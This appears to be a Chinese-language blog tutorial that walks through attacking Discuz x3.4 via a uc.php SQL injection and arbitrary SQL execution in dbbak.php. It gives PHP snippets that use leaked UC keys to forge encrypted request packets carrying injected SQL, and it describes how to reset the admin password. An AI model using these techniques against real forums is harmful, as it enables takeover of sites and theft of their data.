跳转到主内容
websoft网络软件专家 - 深耕网络技术,打造实用软件!

Windows下Discuz x3.4攻击,如何利用SQL注入和任意SQL执行拿shell?

文章导读

大家好,今天我们来聊聊Windows环境下,如何利用Discuz x3.4的漏洞进行攻击。本文将详细介绍两种攻击思路:SQL注入和任意SQL执行,帮助大家更好地了解Web安全。

uc.php-SQL注入

首先,我们来看uc.php的SQL注入漏洞。由于Discuz x3.4没有对单引号进行转译,我们可以利用泄漏的uc_key(dz)构造任意数据包,从而读取敏感信息。

$uc_key = "ybX4B6nfA8Ca83i1Uav5L98eQ4d8w931Z9PbS6E7x86e02ofM1PbI9B3kaLfSaj4";
$time = time() + 7200;
$encode = "time=".$time."&action=renameuser&newusername=123&uid=1'+sql";
var_dump(urlencode(authcode($encode,'ENCODE',$uc_key)));

通过这种方式,我们可以读取upload/uc_server/data/config.inc.php下的UC_KEY(server),并利用sid_decode()函数进行密码重置。

dbbak.php-任意SQL执行

接下来,我们来看dbbak.php的任意SQL执行漏洞。我们可以通过上传zip文件,然后在api/dbbak.php中利用authkey进行数据库导出和导入,从而执行任意SQL语句。

function encode_arr2($get, $uckey) {
	$tmp = '';
	foreach($get as $key => $val) {
		$tmp .= '&'.$key.'='.$val;
	}
	return _authcode($tmp, 'ENCODE', $uckey);
}
$UC_KEY = 'x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5';
$get = array('method' => 'export','time' => time(),'sqlpath' => '/backup_2020xx/','tableid' => '100','startfrom' => '1');
var_dump(encode_arr2($get,$UC_KEY));

通过这种方式,我们可以修改admin密码,从而获取后台权限。

小结与拓展

以上就是Windows下Discuz x3.4的攻击思路。需要注意的是,这些漏洞已经被修复,大家在生产环境中要确保系统安全。

我是陈景序,来自websoft网络软件专家(www.phpwebsoft.com)。如果你对Web安全有任何疑问,欢迎关注我们的网站,了解更多内容。

相关文章